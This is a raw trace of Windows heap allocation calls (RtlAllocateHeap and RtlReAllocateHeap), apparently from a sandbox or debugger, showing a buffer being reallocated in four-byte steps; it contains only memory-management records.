	[0060.368] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x2853eb8, Size=0x60) returned 0x2853eb8
	[0060.368] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x18) returned 0x2873480
	[0060.368] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x2853eb8, Size=0x64) returned 0x2853eb8
	[0060.368] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x18) returned 0x28735c0
	[0060.369] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x2853eb8, Size=0x68) returned 0x2853eb8
	[0060.369] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x18) returned 0x2873640
	[0060.369] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x2853eb8, Size=0x6c) returned 0x28549b8
	[0060.369] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x18) returned 0x28732c0
	[0060.369] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28549b8, Size=0x70) returned 0x28549b8
	[0060.369] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x18) returned 0x2873560
	[0060.369] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28549b8, Size=0x74) returned 0x285f368
	[0060.369] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x18) returned 0x2873300
	[0060.369] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x285f368, Size=0x78) returned 0x285f368
	[0060.369] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x18) returned 0x28733a0
	[0060.369] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x285f368, Size=0x7c) returned 0x2857d40
	[0060.369] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x18) returned 0x2873520
	[0060.369] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x2857d40, Size=0x80) returned 0x2857d40
	[0060.369] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x18) returned 0x28734c0
	[0060.369] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x2857d40, Size=0x84) returned 0x2857d40
	[0060.369] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x18) returned 0x2873320
	[0060.369] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x2857d40, Size=0x88) returned 0x2857d40
	[0060.369] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x18) returned 0x2873680
	[0060.369] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x2857d40, Size=0x8c) returned 0x285ac58
	[0060.369] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x18) returned 0x2873540
	[0060.369] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x285ac58, Size=0x90) returned 0x285ac58
	[0060.369] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x18) returned 0x28734e0
	[0060.369] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x285ac58, Size=0x94) returned 0x285f430
	[0060.369] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x18) returned 0x2873600
	[0060.369] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x285f430, Size=0x98) returned 0x285f430
	[0060.369] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x18) returned 0x28735a0
	[0060.369] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x285f430, Size=0x9c) returned 0x285a508
	[0060.369] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x18) returned 0x2873500
	[0060.369] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28730e8, Size=0x8) returned 0x2873178
	[0060.369] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x18) returned 0x28733c0
	[0060.369] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x4) returned 0x28731b8
	[0060.369] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x18) returned 0x2873860
	[0060.369] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28731b8, Size=0x8) returned 0x28730c8
	[0060.369] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x18) returned 0x2873780
	[0060.369] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28730c8, Size=0xc) returned 0x2861b20
	[0060.369] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x18) returned 0x2873900
	[0060.369] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x2861b20, Size=0x10) returned 0x2861b98
	[0060.369] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x18) returned 0x2873820
	[0060.369] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x2861b98, Size=0x14) returned 0x2873760
	[0060.369] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x18) returned 0x2873840
	[0060.369] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x2873760, Size=0x18) returned 0x2873920
	[0060.369] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x18) returned 0x2873800
	[0060.370] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x2873920, Size=0x1c) returned 0x286c0d8
	[0060.370] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x18) returned 0x28736e0
	[0060.370] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x286c0d8, Size=0x20) returned 0x286bef8
	[0060.370] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x18) returned 0x2873a00
	[0060.370] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x286bef8, Size=0x24) returned 0x2862260
	[0060.370] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x18) returned 0x28736c0
	[0060.370] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x2862260, Size=0x28) returned 0x2862290
	[0060.370] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x18) returned 0x2873a20
	[0060.370] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x2862290, Size=0x2c) returned 0x285b710
	[0060.370] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x18) returned 0x2873880
	[0060.370] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x285b710, Size=0x30) returned 0x285b6d8
	[0060.370] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x18) returned 0x2873700
	[0060.370] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x285b6d8, Size=0x34) returned 0x286f848
	[0060.370] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x18) returned 0x28739c0
	[0060.370] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x286f848, Size=0x38) returned 0x286fa08
	[0060.370] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x18) returned 0x2873720
	[0060.370] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x286fa08, Size=0x3c) returned 0x2874848
	[0060.370] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x18) returned 0x2873920
	[0060.370] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x2874848, Size=0x40) returned 0x2874920
	[0060.370] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x18) returned 0x28738a0
	[0060.370] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x2873178, Size=0xc) returned 0x2861bc8
	[0060.370] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x18) returned 0x2873a40
	[0060.370] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x4) returned 0x28731b8
	[0060.370] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x18) returned 0x2873760
	[0060.370] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28731b8, Size=0x8) returned 0x28730d8
	[0060.370] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x18) returned 0x28738c0
	[0060.370] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28730d8, Size=0xc) returned 0x2861c70
	[0060.370] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x18) returned 0x2873740
	[0060.370] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x2861c70, Size=0x10) returned 0x2861d00
	[0060.370] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x18) returned 0x28737a0
	[0060.370] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x2861d00, Size=0x14) returned 0x2873a60
	[0060.370] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x18) returned 0x28737e0
	[0060.370] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x2873a60, Size=0x18) returned 0x2873980
	[0060.370] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x18) returned 0x28738e0
	[0060.370] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x2873980, Size=0x1c) returned 0x286bef8
	[0060.370] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x18) returned 0x28737c0
	[0060.370] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x286bef8, Size=0x20) returned 0x286bfe8
	[0060.370] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x18) returned 0x2873980
	[0060.370] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x286bfe8, Size=0x24) returned 0x2862260
	[0060.370] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x18) returned 0x2873960
	[0060.370] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x2862260, Size=0x28) returned 0x2862380
	[0060.371] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x18) returned 0x2873940
	[0060.371] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x2862380, Size=0x2c) returned 0x285b6d8
	[0060.371] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x18) returned 0x28739a0
	[0060.371] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x285b6d8, Size=0x30) returned 0x285b710
	[0060.371] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x18) returned 0x28739e0
	[0060.371] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x285b710, Size=0x34) returned 0x286fb48
	[0060.371] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x18) returned 0x2873a60
	[0060.371] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x286fb48, Size=0x38) returned 0x286fb88
	[0060.371] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x18) returned 0x28754d0
	[0060.371] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x286fb88, Size=0x3c) returned 0x2874698
	[0060.371] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x18) returned 0x2875530
	[0060.371] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x2874698, Size=0x40) returned 0x2874848
	[0060.371] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x18) returned 0x2875590
	[0060.371] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x2874848, Size=0x44) returned 0x2862798
	[0060.371] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x18) returned 0x2875650
	[0060.371] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x2862798, Size=0x48) returned 0x2862ba8
	[0060.371] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x18) returned 0x2875330
	[0060.371] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x2862ba8, Size=0x4c) returned 0x2853eb8
	[0060.371] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x18) returned 0x28754f0
	[0060.371] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x2853eb8, Size=0x50) returned 0x2853eb8
	[0060.371] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x18) returned 0x2875310
	[0060.371] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x2853eb8, Size=0x54) returned 0x2853eb8
	[0060.371] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x18) returned 0x2875630
	[0060.371] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x2853eb8, Size=0x58) returned 0x2853eb8
	[0060.371] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x18) returned 0x2875470
	[0060.371] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x2853eb8, Size=0x5c) returned 0x2853eb8
	[0060.371] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x18) returned 0x28752d0
	[0060.371] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x2853eb8, Size=0x60) returned 0x2853eb8
	[0060.371] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x18) returned 0x28752f0
	[0060.371] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x2853eb8, Size=0x64) returned 0x2853eb8
	[0060.371] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x18) returned 0x2875350
	[0060.371] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x2853eb8, Size=0x68) returned 0x2853eb8
	[0060.371] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x18) returned 0x2875510
	[0060.371] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x2853eb8, Size=0x6c) returned 0x28549b8
	[0060.371] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x18) returned 0x2875550
	[0060.371] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28549b8, Size=0x70) returned 0x28549b8
	[0060.371] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x18) returned 0x2875490
	[0060.371] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28549b8, Size=0x74) returned 0x285f368
	[0060.371] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x18) returned 0x2875570
	[0060.371] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x285f368, Size=0x78) returned 0x285f368
	[0060.371] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x18) returned 0x2875610
	[0060.371] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x285f368, Size=0x7c) returned 0x2857d40
	[0060.372] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x18) returned 0x28755b0
	[0060.372] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x2857d40, Size=0x80) returned 0x2857d40
	[0060.372] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x18) returned 0x2875410
	[0060.372] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x2857d40, Size=0x84) returned 0x2857d40
	[0060.372] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x18) returned 0x2875670
	[0060.372] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x2857d40, Size=0x88) returned 0x2857d40
	[0060.372] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x18) returned 0x28755d0
	[0060.372] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x2857d40, Size=0x8c) returned 0x285ac58
	[0060.372] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x18) returned 0x28755f0
	[0060.372] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x285ac58, Size=0x90) returned 0x285ac58
	[0060.372] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x18) returned 0x2875370
	[0060.372] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x285ac58, Size=0x94) returned 0x285f430
	[0060.372] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x18) returned 0x2875390
	[0060.372] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x285f430, Size=0x98) returned 0x285f430
	[0060.372] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x18) returned 0x28753b0
	[0060.372] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x285f430, Size=0x9c) returned 0x285bdd0
	[0060.372] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x18) returned 0x28753d0
	[0060.372] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x285bdd0, Size=0xa0) returned 0x285bdd0
	[0060.372] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x18) returned 0x28753f0
	[0060.372] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x285bdd0, Size=0xa4) returned 0x2853c10
	[0060.372] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x18) returned 0x28754b0
	[0060.372] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x2853c10, Size=0xa8) returned 0x2853c10
	[0060.372] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x18) returned 0x2875430
	[0060.372] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x2853c10, Size=0xac) returned 0x2861ed8
	[0060.372] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x18) returned 0x2875450
	[0060.372] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x2861ed8, Size=0xb0) returned 0x2861ed8
	[0060.372] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x18) returned 0x28750d0
	[0060.372] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x2861ed8, Size=0xb4) returned 0x2861ed8
	[0060.372] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x18) returned 0x2874ed0
	[0060.372] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x2861ed8, Size=0xb8) returned 0x2861ed8
	[0060.372] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x18) returned 0x28751f0
	[0060.372] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x2861ed8, Size=0xbc) returned 0x2861ed8
	[0060.372] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x18) returned 0x2875130
	[0060.372] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x2861ed8, Size=0xc0) returned 0x2861ed8
	[0060.372] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x18) returned 0x2875210
	[0060.372] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x2861ed8, Size=0xc4) returned 0x2861ed8
	[0060.372] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x18) returned 0x2875070
	[0060.372] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x2861ed8, Size=0xc8) returned 0x2861ed8
	[0060.372] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x18) returned 0x2875250
	[0060.373] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x2861ed8, Size=0xcc) returned 0x2861ed8
	[0060.373] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x18) returned 0x28751b0
	[0060.373] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x2861ed8, Size=0xd0) returned 0x2861ed8
	[0060.373] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x18) returned 0x2874ff0
	[0060.373] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x285b6a0, Size=0x30) returned 0x285b6d8
	[0060.373] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x18) returned 0x2875090
	[0060.373] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x4) returned 0x28731d8
	[0060.373] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x18) returned 0x2875170
	[0060.373] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28731d8, Size=0x8) returned 0x28730f8
	[0060.373] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x18) returned 0x2875150
	[0060.373] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x4) returned 0x2873238
	[0060.373] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x18) returned 0x2874ef0
	[0060.373] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x2873238, Size=0x8) returned 0x28731d8
	[0060.373] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x18) returned 0x28750b0
	[0060.373] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28731d8, Size=0xc) returned 0x2861ca0
	[0060.373] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x18) returned 0x2875110
	[0060.373] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x2861ca0, Size=0x10) returned 0x2861c70
	[0060.373] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x18) returned 0x2875290
	[0060.373] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x2861c70, Size=0x14) returned 0x28752b0
	[0060.373] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x18) returned 0x2875190
	[0060.373] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28752b0, Size=0x18) returned 0x2874f10
	[0060.373] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x18) returned 0x2874f30
	[0060.373] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x2874f10, Size=0x1c) returned 0x286bfe8
	[0060.373] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x18) returned 0x2874f10
	[0060.373] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x286bfe8, Size=0x20) returned 0x286c060
	[0060.373] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x18) returned 0x2874f50
	[0060.373] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x286c060, Size=0x24) returned 0x2862290
	[0060.373] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x18) returned 0x28751d0
	[0060.373] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x2862290, Size=0x28) returned 0x2862380
	[0060.373] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x18) returned 0x28750f0
	[0060.373] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x2862380, Size=0x2c) returned 0x285b6a0
	[0060.373] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x18) returned 0x2875230
	[0060.373] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x285b6a0, Size=0x30) returned 0x285b710
	[0060.373] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x18) returned 0x28752b0
	[0060.373] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x285b710, Size=0x34) returned 0x286f8c8
	[0060.373] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x18) returned 0x2875270
	[0060.373] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x286f8c8, Size=0x38) returned 0x286f908
	[0060.373] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x18) returned 0x2874f70
	[0060.374] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x286f908, Size=0x3c) returned 0x28747b8
	[0060.374] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x18) returned 0x2874f90
	[0060.374] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28747b8, Size=0x40) returned 0x2874968
	[0060.374] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x18) returned 0x2874fb0
	[0060.374] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x2874968, Size=0x44) returned 0x2862b08
	[0060.374] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x18) returned 0x2875050
	[0060.374] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x2862b08, Size=0x48) returned 0x2862b58
	[0060.374] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x18) returned 0x2874fd0
	[0060.374] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x2862b58, Size=0x4c) returned 0x2853eb8
	[0060.374] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x18) returned 0x2875010
	[0060.374] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x2853eb8, Size=0x50) returned 0x2853eb8
	[0060.374] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x18) returned 0x2875030
	[0060.374] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x2853eb8, Size=0x54) returned 0x2853eb8
	[0060.374] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x18) returned 0x2875ad8
	[0060.374] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x2853eb8, Size=0x58) returned 0x2853eb8
	[0060.374] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x18) returned 0x2875c98
	[0060.374] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x2853eb8, Size=0x5c) returned 0x2853eb8
	[0060.374] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x18) returned 0x2875cd8
	[0060.374] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x2853eb8, Size=0x60) returned 0x2853eb8
	[0060.374] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x18) returned 0x2875d18
	[0060.374] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x2853eb8, Size=0x64) returned 0x2853eb8
	[0060.374] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x18) returned 0x2875b78
	[0060.374] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x2853eb8, Size=0x68) returned 0x2853eb8
	[0060.374] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x18) returned 0x2875c38
	[0060.374] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x2853eb8, Size=0x6c) returned 0x28549b8
	[0060.374] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x18) returned 0x2875b18
	[0060.374] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28549b8, Size=0x70) returned 0x28549b8
	[0060.374] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x18) returned 0x2875d38
	[0060.374] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28549b8, Size=0x74) returned 0x285f368
	[0060.374] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x18) returned 0x2875bb8
	[0060.374] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x285f368, Size=0x78) returned 0x285f368
	[0060.374] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x18) returned 0x2875e78
	[0060.374] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x285f368, Size=0x7c) returned 0x2857d40
	[0060.374] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x18) returned 0x2875bd8
	[0060.374] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x2857d40, Size=0x80) returned 0x2857d40
	[0060.374] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x18) returned 0x2875b38
	[0060.374] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x2857d40, Size=0x84) returned 0x2857d40
	[0060.374] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x18) returned 0x2875bf8
	[0060.374] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x2857d40, Size=0x88) returned 0x2857d40
	[0060.374] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x18) returned 0x2875af8
